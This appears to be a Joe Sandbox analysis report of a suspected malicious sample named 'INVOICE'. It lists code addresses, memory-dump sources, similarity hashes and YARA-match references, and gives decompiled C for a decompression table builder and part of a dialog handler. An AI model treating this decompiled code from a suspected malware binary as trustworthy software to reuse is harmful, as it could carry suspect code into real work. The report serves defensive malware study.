0x0040731a
0x00407320
0x00407322
0x00407324
0x00407326
0x00407328
0x0040732b
0x00407334
0x00407337
0x00407337
0x0040732d
0x0040732d
0x00407330
0x00407330
0x0040732b
0x00407322
0x00407339
0x0040733b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040733b
0x004072ba
0x004072ba
0x004072c0
0x004072c6
0x004072c8
0x00000000
0x00000000
0x004072ca
0x004072ca
0x004072cc
0x004072ce
0x004072d7
0x004072d7
0x004072d0
0x004072d0
0x004072d3
0x004072d3
0x004072d9
0x004072db
0x00000000
0x00000000
0x00407341
0x00407341
0x00407346
0x00407348
0x00407349
0x0040734a
0x0040734b
0x00407351
0x00407354
0x00407357
0x0040735a
0x0040735c
0x00407362
0x00407362
0x00407365
0x00407365
0x00407365
0x00407365
0x0040736e
0x00000000
0x00000000
0x00407373
0x00407373
0x00407376
0x00407379
0x0040737b
0x00407412
0x00407412
0x00407415
0x00407417
0x00407418
0x00407419
0x0040741c
0x00000000
0x0040741c
0x00407381
0x00407381
0x00407387
0x00407389
0x004073ae
0x004073b1
0x004073b7
0x004073bc
0x004073c2
0x004073c8
0x004073ca
0x004073cd
0x004073d6
0x004073dc
0x004073dc
0x004073cf
0x004073d1
0x004073d3
0x004073d3
0x004073de
0x004073e4
0x004073e6
0x004073e9
0x004073eb
0x004073f1
0x004073f3
0x004073f5
0x004073f7
0x004073f9
0x004073fc
0x00407405
0x00407408
0x00407408
0x004073fe
0x004073fe
0x00407401
0x00407401
0x004073fc
0x004073f3
0x0040740a
0x0040740c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040740c
0x0040738b
0x0040738b
0x00407391
0x00407397
0x00407399
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739d
0x0040739f
0x004073a6
0x004073a6
0x004073a8
0x004073a1
0x004073a1
0x004073a3
0x004073a3
0x004073aa
0x004073ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407424
0x00407424
0x00407427
0x00407429
0x0040742c
0x0040742f
0x0040742f
0x0040742f
0x0040742f
0x00000000
0x00000000
0x00000000
0x00406add
0x00406ac1
0x00000000
0x00406ac7
0x00406aca
0x00406ad4
0x00406ad7
0x00406ada
0x00000000
0x00406ada
0x00406ac1
0x00406ae5
0x00406ae8
0x00406aec
0x00406af6
0x00406b00
0x00406b03
0x00406b09
0x00406c3d
0x00406c3f
0x00406c45
0x00406c48
0x00406c4b
0x00000000
0x00406c4b
0x00406b0f
0x00406b0f
0x00406b10
0x00406b68
0x00406b68
0x00406b6f
0x00406c15
0x00406c15
0x00406c1a
0x00406c1d
0x00406c22
0x00406c25
0x00406c2a
0x00406c2d
0x00406c32
0x00406c35
0x00406c35
0x00000000
0x00406b75
0x00406b75
0x00406b75
0x00406b75
0x00406b79
0x00406b79
0x00406b9b
0x00406b9e
0x00406ba0
0x00406ba3
0x00406ba8
0x00406b7e
0x00406b7e
0x00406b83
0x00406b85
0x00406b87
0x00406b8c
0x00406b92
0x00406b97
0x00406b99
0x00406b99
0x00406b8e
0x00406b8e
0x00406b8e
0x00406b8c
0x00000000
0x00406baa
0x00406bd7
0x00406bdc
0x00406bde
0x00406bdf
0x00406be1
0x00406be2
0x00406be2
0x00406be2
0x00406c0a
0x00406c0f
0x00406c0f
0x00000000
0x00406c0f
0x00406ba8
0x00406b6f
0x00406b12
0x00406b12
0x00406b13
0x00406b5d
0x00000000
0x00406b5d
0x00406b15
0x00406b16
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c72
0x00406c72
0x00406c72
0x00406c75
0x00000000
0x00000000
0x00406c52
0x00406c52
0x00406c56
0x00000000
0x00000000
0x00406c5c
0x00406c5c
0x00406c5f
0x00406c62
0x00406c67
0x00406c69
0x00406c6c
0x00406c6f
0x00406c6f
0x00406c6f
0x00406c77
0x00406c77
0x00406c7a
0x00406c7c
0x00406c81
0x00406c84
0x00406c86
0x00406c89
0x00000000
0x00000000
0x00406c8f
0x00406c8f
0x00406c91
0x00000000
0x00000000
0x00406c97
0x00406c97
0x00406c9b
0x00000000
0x00000000
0x00406ca1
0x00406ca1
0x00406ca4
0x00406ca6
0x00406d44
0x00406d44
0x00406d47
0x00406d49
0x00406d49
0x00406d4c
0x00406d4f
0x00406d51
0x00406d53
0x00406d55
0x00406d55
0x00406d5e
0x00406d63
0x00406d66
0x00406d69
0x00406d6c
0x00406d6f
0x00406d6f
0x00406d6f
0x00406d72
0x00406d78
0x00406d78
0x00406d7e
0x00406d7e
0x00406d7e
0x00000000
0x00406d72
0x00406cac
0x00406cac
0x00406cb2
0x00406cb5
0x00406cb7
0x00406ce2
0x00406ce5
0x00406ceb
0x00406cf0
0x00406cf6
0x00406cfc
0x00406cfe
0x00406d01
0x00406d0a
0x00406d10
0x00406d10
0x00406d03
0x00406d05
0x00406d07
0x00406d07
0x00406d12
0x00406d18
0x00406d1b
0x00406d1d
0x00406d1f
0x00406d25
0x00406d27
0x00406d29
0x00406d2c
0x00406d35
0x00406d35
0x00406d37
0x00406d2e
0x00406d2e
0x00406d31
0x00406d31
0x00406d39
0x00406d39
0x00406d27
0x00406d3c
0x00406d3e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d3e
0x00406cb9
0x00406cb9
0x00406cbf
0x00406cc5
0x00406cc7
0x00000000
0x00000000
0x00406cc9
0x00406cc9
0x00406ccb
0x00406ccd
0x00406cd0
0x00406cd7
0x00406cd7
0x00406cd9
0x00406cd2
0x00406cd2
0x00406cd4
0x00406cd4
0x00406cdb
0x00406cdd
0x00406ce0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406de4
0x00406de7
0x00406dea
0x00406df0
0x00000000
0x00000000
0x00000000
0x00000000
0x00406fc7
0x00406fc7
0x00406fc7
0x00406fca
0x00406fcd
0x00406fcf
0x00406fd2
0x00406fd8
0x00406fdf
0x00406fe1
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406edd
0x00406edd
0x00406edd
0x00406edf
0x00000000
0x00000000
0x00406ebd
0x00406ebd
0x00406ec1
0x00000000
0x00000000
0x00406ec7
0x00406ec7
0x00406eca
0x00406ecd
0x00406ed0
0x00406ed2
0x00406ed4
0x00406ed7
0x00406eda
0x00406eda
0x00406eda
0x00406ee1
0x00406ee1
0x00406ee9
0x00406eec
0x00406ef2
0x00406ef5
0x00406ef9
0x00406efd
0x00406f00
0x00406f03
0x00406f1b
0x00406f1b
0x00406f1e
0x00406f2c
0x00406f2f
0x00406f20
0x00406f20
0x00406f22
0x00406f29
0x00406f29
0x00406f58
0x00406f58
0x00406f58
0x00406f5b
0x00406f5d
0x00000000
0x00000000
0x00406f38
0x00406f38
0x00406f3c
0x00000000
0x00000000
0x00406f42
0x00406f42
0x00406f45
0x00406f48
0x00406f4b
0x00406f4d
0x00406f4f
0x00406f52
0x00406f55
0x00406f55
0x00406f55
0x00406f5f
0x00406f5f
0x00406f61
0x00406f63
0x00406f6e
0x00406f71
0x00406f74
0x00406f76
0x00406f78
0x00406f7a
0x00406f7d
0x00406f80
0x00406f85
0x00406f88
0x00406f8b
0x00406f8e
0x00406f95
0x00406f98
0x00406f9a
0x00000000
0x00000000
0x00406fa0
0x00406fa0
0x00406fa4
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb7
0x00406fb7
0x00406fbb
0x00406fbb
0x00406fbb
0x00406fbd
0x00406fbe
0x00406fc1
0x00406fc1
0x00406fc1
0x00406fc4
0x00000000
0x00406fc4
0x00406fa6
0x00406fa6
0x00406fa9
0x00000000
0x00000000
0x00406faf
0x00406faf
0x00000000
0x00406faf
0x00406f05
0x00406f05
0x00406f07
0x00406f09
0x00406f0c
0x00406f0f
0x00406f13
0x00406f13
0x00406fe7
0x00406fe7
0x00406fea
0x00406ff1
0x00406ff5
0x00406ff7
0x00406ffa
0x00406ffd
0x00407002
0x00407005
0x00407007
0x00407008
0x0040700b
0x00407016
0x00407019
0x00407030
0x00407035
0x0040703c
0x00407041
0x00407045
0x00407047
0x00407047
0x00407047
0x0040704a
0x0040704c
0x00000000
0x00407052
0x00407052
0x00407056
0x00407061
0x00407074
0x00407079
0x0040707e
0x00407080
0x00000000
0x00000000
0x00407086
0x00407086
0x00407089
0x0040708b
0x00407099
0x00407099
0x0040709c
0x0040709c
0x0040709f
0x004070a2
0x004070a5
0x004070a8
0x004070ab
0x004070ae
0x00000000
0x004070ae
0x0040708d
0x0040708d
0x00407093
0x00000000
0x00000000
0x00000000
0x00407093
0x00000000
0x00000000
0x00000000
0x00407432
0x00407432
0x00407438
0x0040743e
0x00407443
0x00407449
0x0040744f
0x00407451
0x00407454
0x0040745d
0x00407463
0x00407463
0x00407456
0x00407458
0x0040745a
0x0040745a
0x00407465
0x00407467
0x0040746a
0x004074a5
0x004074a5
0x00000000
0x0040746c
0x0040746c
0x0040746c
0x00407472
0x00407475
0x00407477
0x004074ac
0x004074ae
0x00000000
0x004074ae
0x00000000
0x00407477
0x00000000
0x00406ab6
0x00407484
0x00000000
0x00407484
0x00406e98
0x00406e9a
0x00000000
0x00000000
0x00406e9c
0x00406e9c
0x00406e9f
0x00000000
0x00406e9f
0x00406de4
0x00406da5
0x00407489
0x0040748c
0x0040748e
0x00407497
0x0040749d
0x00000000

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction ID: 3db1d01f4341fbbb805040525b4c18df43ce82c239752998d09602440244d977
Opcode Fuzzy Hash: fbe53aaae7eeab696340878b5eee03eb0fd33fb80e94407ce6853ed186f7d00c
Instruction Fuzzy Hash: FEE18A71A0070ADFCB24CF59D880BAABBF5FB44305F15852EE496A72D1D338AA91CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040755C Relevance: .3, Instructions: 300
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0040755C(signed char _a4, char _a5, short _a6, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int* _a24, signed int _a28, intOrPtr _a32, signed int* _a36) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr* _v32;
				signed int* _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v116;
				signed int _v176;
				signed int _v180;
				signed int _v240;
				signed int _t166;
				signed int _t168;
				intOrPtr _t175;
				signed int _t181;
				void* _t182;
				intOrPtr _t183;
				signed int* _t184;
				signed int _t186;
				signed int _t187;
				signed int* _t189;
				signed int _t190;
				intOrPtr* _t191;
				intOrPtr _t192;
				signed int _t193;
				signed int _t195;
				signed int _t200;
				signed int _t205;
				void* _t207;
				short _t208;
				signed char _t222;
				signed int _t224;
				signed int _t225;
				signed int* _t232;
				signed int _t233;
				signed int _t234;
				void* _t235;
				signed int _t236;
				signed int _t244;
				signed int _t246;
				signed int _t251;
				signed int _t254;
				signed int _t256;
				signed int _t259;
				signed int _t262;
				void* _t263;
				void* _t264;
				signed int _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				signed int _t274;
				intOrPtr* _t275;
				unsigned int _t276;
				void* _t277;
				signed int _t278;
				intOrPtr* _t279;
				signed int _t281;
				intOrPtr _t282;
				intOrPtr _t283;
				signed int* _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t296;
				signed int* _t297;
				intOrPtr _t298;
				void* _t299;

				_t278 = _a8;
				_t187 = 0x10;
				memset( &_v116, 0, _t187 << 2);
				_t189 = _a4;
				_t233 = _t278;
				do {
					_t166 =  *_t189;
					_t189 =  &(_t189[1]);
					 *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) =  *((intOrPtr*)(_t299 + _t166 * 4 - 0x70)) + 1;
					_t233 = _t233 - 1;
				} while (_t233 != 0);
				if(_v116 != _t278) {
					_t279 = _a28;
					_t267 =  *_t279;
					_t190 = 1;
					_a28 = _t267;
					_t234 = 0xf;
					while(1) {
						_t168 = 0;
						if( *((intOrPtr*)(_t299 + _t190 * 4 - 0x70)) != 0) {
							break;
						}
						_t190 = _t190 + 1;
						if(_t190 <= _t234) {
							continue;
						}
						break;
					}
					_v8 = _t190;
					if(_t267 < _t190) {
						_a28 = _t190;
					}
					while( *((intOrPtr*)(_t299 + _t234 * 4 - 0x70)) == _t168) {
						_t234 = _t234 - 1;
						if(_t234 != 0) {
							continue;
						}
						break;
					}
					_v28 = _t234;
					if(_a28 > _t234) {
						_a28 = _t234;
					}
					 *_t279 = _a28;
					_t181 = 1 << _t190;
					while(_t190 < _t234) {
						_t182 = _t181 -  *((intOrPtr*)(_t299 + _t190 * 4 - 0x70));
						if(_t182 < 0) {
							L64:
							return _t168 | 0xffffffff;
						}
						_t190 = _t190 + 1;
						_t181 = _t182 + _t182;
					}
					_t281 = _t234 << 2;
					_t191 = _t299 + _t281 - 0x70;
					_t269 =  *_t191;
					_t183 = _t181 - _t269;
					_v52 = _t183;
					if(_t183 < 0) {
						goto L64;
					}
					_v176 = _t168;
					 *_t191 = _t269 + _t183;
					_t192 = 0;
					_t235 = _t234 - 1;
					if(_t235 == 0) {
						L21:
						_t184 = _a4;
						_t271 = 0;
						do {
							_t193 =  *_t184;
							_t184 =  &(_t184[1]);
							if(_t193 != _t168) {
								_t232 = _t299 + _t193 * 4 - 0xb0;
								_t236 =  *_t232;
								 *((intOrPtr*)(0x432190 + _t236 * 4)) = _t271;
								 *_t232 = _t236 + 1;
							}
							_t271 = _t271 + 1;
						} while (_t271 < _a8);
						_v16 = _v16 | 0xffffffff;
						_v40 = _v40 & 0x00000000;
						_a8 =  *((intOrPtr*)(_t299 + _t281 - 0xb0));
						_t195 = _v8;
						_t186 =  ~_a28;
						_v12 = _t168;
						_v180 = _t168;
						_v36 = 0x432190;
						_v240 = _t168;
						if(_t195 > _v28) {
							L62:
							_t168 = 0;
							if(_v52 == 0 || _v28 == 1) {
								return _t168;
							} else {
								goto L64;
							}
						}
						_v44 = _t195 - 1;
						_v32 = _t299 + _t195 * 4 - 0x70;
						do {
							_t282 =  *_v32;
							if(_t282 == 0) {
								goto L61;
							}
							while(1) {
								_t283 = _t282 - 1;
								_t200 = _a28 + _t186;
								_v48 = _t283;
								_v24 = _t200;
								if(_v8 <= _t200) {
									goto L45;
								}
								L31:
								_v20 = _t283 + 1;
								do {
									_v16 = _v16 + 1;
									_t296 = _v28 - _v24;
									if(_t296 > _a28) {
										_t296 = _a28;
									}
									_t222 = _v8 - _v24;
									_t254 = 1 << _t222;
									if(1 <= _v20) {
										L40:
										_t256 =  *_a36;
										_t168 = 1 << _t222;
										_v40 = 1;
										_t274 = _t256 + 1;
										if(_t274 > 0x5a0) {
											goto L64;
										}
									} else {
										_t275 = _v32;
										_t263 = _t254 + (_t168 | 0xffffffff) - _v48;
										if(_t222 >= _t296) {
											goto L40;
										}
										while(1) {
											_t222 = _t222 + 1;
											if(_t222 >= _t296) {
												goto L40;
											}
											_t275 = _t275 + 4;
											_t264 = _t263 + _t263;
											_t175 =  *_t275;
											if(_t264 <= _t175) {
												goto L40;
											}
											_t263 = _t264 - _t175;
										}
										goto L40;
									}
									_t168 = _a32 + _t256 * 4;
									_t297 = _t299 + _v16 * 4 - 0xec;
									 *_a36 = _t274;
									_t259 = _v16;
									 *_t297 = _t168;
									if(_t259 == 0) {
										 *_a24 = _t168;
									} else {
										_t276 = _v12;
										_t298 =  *((intOrPtr*)(_t297 - 4));
										 *(_t299 + _t259 * 4 - 0xb0) = _t276;
										_a5 = _a28;
										_a4 = _t222;
										_t262 = _t276 >> _t186;
										_a6 = (_t168 - _t298 >> 2) - _t262;
										 *(_t298 + _t262 * 4) = _a4;
									}
									_t224 = _v24;
									_t186 = _t224;
									_t225 = _t224 + _a28;
									_v24 = _t225;
								} while (_v8 > _t225);
								L45:
								_t284 = _v36;
								_a5 = _v8 - _t186;
								if(_t284 < 0x432190 + _a8 * 4) {
									_t205 =  *_t284;
									if(_t205 >= _a12) {
										_t207 = _t205 - _a12 + _t205 - _a12;
										_v36 =  &(_v36[1]);
										_a4 =  *((intOrPtr*)(_t207 + _a20)) + 0x50;
										_t208 =  *((intOrPtr*)(_t207 + _a16));
									} else {
										_a4 = (_t205 & 0xffffff00 | _t205 - 0x00000100 > 0x00000000) - 0x00000001 & 0x00000060;
										_t208 =  *_t284;
										_v36 =  &(_t284[1]);
									}
									_a6 = _t208;
								} else {
									_a4 = 0xc0;
								}
								_t286 = 1 << _v8 - _t186;
								_t244 = _v12 >> _t186;
								while(_t244 < _v40) {
									 *(_t168 + _t244 * 4) = _a4;
									_t244 = _t244 + _t286;
								}
								_t287 = _v12;
								_t246 = 1 << _v44;
								while((_t287 & _t246) != 0) {
									_t287 = _t287 ^ _t246;
									_t246 = _t246 >> 1;
								}
								_t288 = _t287 ^ _t246;
								_v20 = 1;
								_v12 = _t288;
								_t251 = _v16;
								if(((1 << _t186) - 0x00000001 & _t288) ==  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0))) {
									L60:
									if(_v48 != 0) {
										_t282 = _v48;
										_t283 = _t282 - 1;
										_t200 = _a28 + _t186;
										_v48 = _t283;
										_v24 = _t200;
										if(_v8 <= _t200) {
											goto L45;
										}
										goto L31;
									}
									break;
								} else {
									goto L58;
								}
								do {
									L58:
									_t186 = _t186 - _a28;
									_t251 = _t251 - 1;
								} while (((1 << _t186) - 0x00000001 & _v12) !=  *((intOrPtr*)(_t299 + _t251 * 4 - 0xb0)));
								_v16 = _t251;
								goto L60;
							}
							L61:
							_v8 = _v8 + 1;
							_v32 = _v32 + 4;
							_v44 = _v44 + 1;
						} while (_v8 <= _v28);
						goto L62;
					}
					_t277 = 0;
					do {
						_t192 = _t192 +  *((intOrPtr*)(_t299 + _t277 - 0x6c));
						_t277 = _t277 + 4;
						_t235 = _t235 - 1;
						 *((intOrPtr*)(_t299 + _t277 - 0xac)) = _t192;
					} while (_t235 != 0);
					goto L21;
				}
				 *_a24 =  *_a24 & 0x00000000;
				 *_a28 =  *_a28 & 0x00000000;
				return 0;
			}

0x00407567
0x0040756f
0x00407573
0x00407575
0x00407578
0x0040757a
0x0040757a
0x0040757c
0x00407583
0x00407585
0x00407585
0x0040758b
0x004075a0
0x004075a8
0x004075aa
0x004075ac
0x004075af
0x004075b0
0x004075b0
0x004075b6
0x00000000
0x00000000
0x004075b8
0x004075bb
0x00000000
0x00000000
0x00000000
0x004075bb
0x004075bf
0x004075c2
0x004075c4
0x004075c4
0x004075c7
0x004075cd
0x004075ce
0x00000000
0x00000000
0x00000000
0x004075ce
0x004075d3
0x004075d6
0x004075d8
0x004075d8
0x004075de
0x004075e0
0x004075f1
0x004075e4
0x004075e8
0x0040788d
0x00000000
0x0040788d
0x004075ee
0x004075ef
0x004075ef
0x004075f7
0x004075fa
0x004075fe
0x00407600
0x00407602
0x00407605
0x00000000
0x00000000
0x0040760d
0x00407613
0x00407615
0x00407617
0x00407618
0x0040762d
0x0040762d
0x00407630
0x00407632
0x00407632
0x00407634
0x00407639
0x0040763b
0x00407642
0x00407644
0x0040764c
0x0040764c
0x0040764e
0x0040764f
0x0040765e
0x00407662
0x00407666
0x00407669
0x0040766c
0x00407671
0x00407674
0x0040767a
0x00407681
0x00407687
0x00407880
0x00407880
0x00407885
0x00407894
0x00000000
0x00000000
0x00000000
0x00407885
0x00407694
0x00407697
0x0040769a
0x0040769d
0x004076a1
0x00000000
0x00000000
0x004076ac
0x004076af
0x004076b0
0x004076b2
0x004076b8
0x004076bb
0x00000000
0x00000000
0x004076c1
0x004076c2
0x004076c5
0x004076c8
0x004076cb
0x004076d1
0x004076d3
0x004076d3
0x004076db
0x004076df
0x004076e4
0x00407709
0x0040770f
0x00407711
0x00407713
0x00407716
0x0040771f
0x00000000
0x00000000
0x004076e6
0x004076e6
0x004076ef
0x004076f3
0x00000000
0x00000000
0x00407704
0x00407704
0x00407707
0x00000000
0x00000000
0x004076f7
0x004076fa
0x004076fc
0x00407700
0x00000000
0x00000000
0x00407702
0x00407702
0x00000000
0x00407704
0x00407728
0x0040772e
0x00407738
0x0040773a
0x0040773f
0x00407741
0x00407777
0x00407743
0x00407743
0x00407746
0x00407749
0x00407753
0x00407756
0x0040775d
0x00407768
0x0040776f
0x0040776f
0x00407779
0x0040777c
0x0040777e
0x00407784
0x00407784
0x0040778d
0x00407790
0x00407795
0x004077a4
0x004077ac
0x004077b1
0x004077d5
0x004077dd
0x004077e1
0x004077e7
0x004077b3
0x004077c1
0x004077c4
0x004077ca
0x004077ca
0x004077eb
0x004077a6
0x004077a6
0x004077a6
0x004077fc
0x00407800
0x0040780c
0x00407807
0x0040780a
0x0040780a
0x00407814
0x00407819
0x00407821
0x0040781d
0x0040781f
0x0040781f
0x00407827
0x00407829
0x00407830
0x0040783a
0x00407844
0x00407860
0x00407864
0x004076a9
0x004076af
0x004076b0
0x004076b2
0x004076b8
0x004076bb
0x00000000
0x00000000
0x00000000
0x004076bb
0x00000000
0x00000000
0x00000000
0x00000000
0x00407846
0x00407846
0x00407846
0x0040784b
0x00407854
0x0040785d
0x00000000
0x0040785d
0x0040786a
0x0040786a
0x0040786d
0x00407874
0x00407877
0x00000000
0x0040769a
0x0040761a
0x0040761c
0x0040761c
0x00407620
0x00407623
0x00407624
0x00407624
0x00000000
0x0040761c
0x00407590
0x00407596
0x00000000

Memory Dump Source

Source File: 00000000.00000002.1041744402.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1041717397.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041816156.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1041847544.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042026242.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042058187.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042103238.0000000000442000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042141389.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1042178478.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_INVOICE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4d3fc1c80ea15bf86cc2801d6424e98614acddb7a54358772128df9d71e60e61
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: C6C14871E042599BCF18CF68C8905EEBBB2BF88314F25866AD85677380D7347941CF95

Uniqueness

Uniqueness Score: -1.00%

Function 02B51E8D Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a37603980895e6ec83fa4505f9f67cb2ad154cbc91da39319c492dee5be1baad
Instruction ID: 7391beb2045236c10d48ea577b760054210d239e09d5f88d248bd53081a67198
Opcode Fuzzy Hash: a37603980895e6ec83fa4505f9f67cb2ad154cbc91da39319c492dee5be1baad
Instruction Fuzzy Hash: A471FD16D2F3268EE793307086A1BF55641CF171C2E5887EB8D67BA492B70F098FC049

Uniqueness

Uniqueness Score: -1.00%

Function 02B516A6 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea239563e671515f20e7f3292a49a1a55a6a771fd9d81dc1d1004a5559432a0d
Instruction ID: cf6d2f1afc5ea7adbad5cb82df1c3cbe11d3363c3b60a077b16deed19a5eb0b2
Opcode Fuzzy Hash: ea239563e671515f20e7f3292a49a1a55a6a771fd9d81dc1d1004a5559432a0d
Instruction Fuzzy Hash: 22219A2655B73BDBEF2469B44FBA3F511824F161C4E8903AB8DC32F585A30A498BC503

Uniqueness

Uniqueness Score: -1.00%

Function 02B65BAC Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b948552473cc724eaba7ff4005d1195cafe9acb0b009b8a425319aafdba01376
Instruction ID: 3d4cf9ac2008da808f8d930f1146ca586d51d58a0da9311bd84baae88318fd2d
Opcode Fuzzy Hash: b948552473cc724eaba7ff4005d1195cafe9acb0b009b8a425319aafdba01376
Instruction Fuzzy Hash: 3131E33560570A8BDB349E38C9E97F727A2EF56780F84416DCE8A9B285E3384986C701

Uniqueness

Uniqueness Score: -1.00%

Function 02B65DEA Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03bf9acc07bd782a526a75f87d1df2d8a134a15148905d9499557fe5e034cd09
Instruction ID: fe9ad4425fcf3c65d55ddcb4b17d5d2ffb0600945065c1eee502fbfd6aa571c7
Opcode Fuzzy Hash: 03bf9acc07bd782a526a75f87d1df2d8a134a15148905d9499557fe5e034cd09
Instruction Fuzzy Hash: 1D118B366043518FCF34CE58C6A8BEA73A2EF54360F8640A6DC559B614C334EE50CB42

Uniqueness

Uniqueness Score: -1.00%

Function 02B654B6 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1043900195.0000000002B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b50000_INVOICE.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c448dfa621259d2267e0f58a8ec354152b6bb34f05630afd65431bd1a8da49
Instruction ID: ec0ca858c2167ecd962e3d073daed7a44b42e98db3301cfeddb3348f1b6a51a3
Opcode Fuzzy Hash: 06c448dfa621259d2267e0f58a8ec354152b6bb34f05630afd65431bd1a8da49
Instruction Fuzzy Hash: FCB092302226408FCA45CE19C290F4073A0FB00B00B8244C4B5028BA11C324E800CA00

Uniqueness

Uniqueness Score: -1.00%

Function 00404F06 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489
windowmemoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00404F06(struct HWND__* _a4, int _a8, signed int _a12, int _a16) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				signed char* _v32;
				int _v36;
				signed int _v44;
				int _v48;
				signed int* _v60;
				signed char* _v64;
				signed int _v68;
				long _v72;
				void* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t198;
				intOrPtr _t201;
				intOrPtr _t202;
				long _t207;
				signed int _t211;
				signed int _t222;
				void* _t225;
				void* _t226;
				int _t232;
				long _t237;
				long _t238;
				signed int _t239;
				signed int _t245;
				signed int _t247;
				signed char _t248;
				signed char _t254;
				void* _t258;
				void* _t260;
				signed char* _t278;
				signed char _t279;
				long _t284;
				struct HWND__* _t291;
				signed int* _t292;
				int _t293;
				long _t294;
				signed int _t295;
				void* _t297;
				long _t298;
				int _t299;
				signed int _t300;
				signed int _t303;
				signed int _t311;
				signed char* _t319;
				int _t324;
				void* _t326;

				_t291 = _a4;
				_v12 = GetDlgItem(_t291, 0x3f9);
				_v8 = GetDlgItem(_t291, 0x408);
				_t326 = SendMessageW;
				_v24 =  *0x434f28;
				_v28 =  *0x434f10 + 0x94;
				if(_a8 != 0x110) {
					L23:
					if(_a8 != 0x405) {
						_t301 = _a16;
					} else {
						_a12 = 0;
						_t301 = 1;
						_a8 = 0x40f;
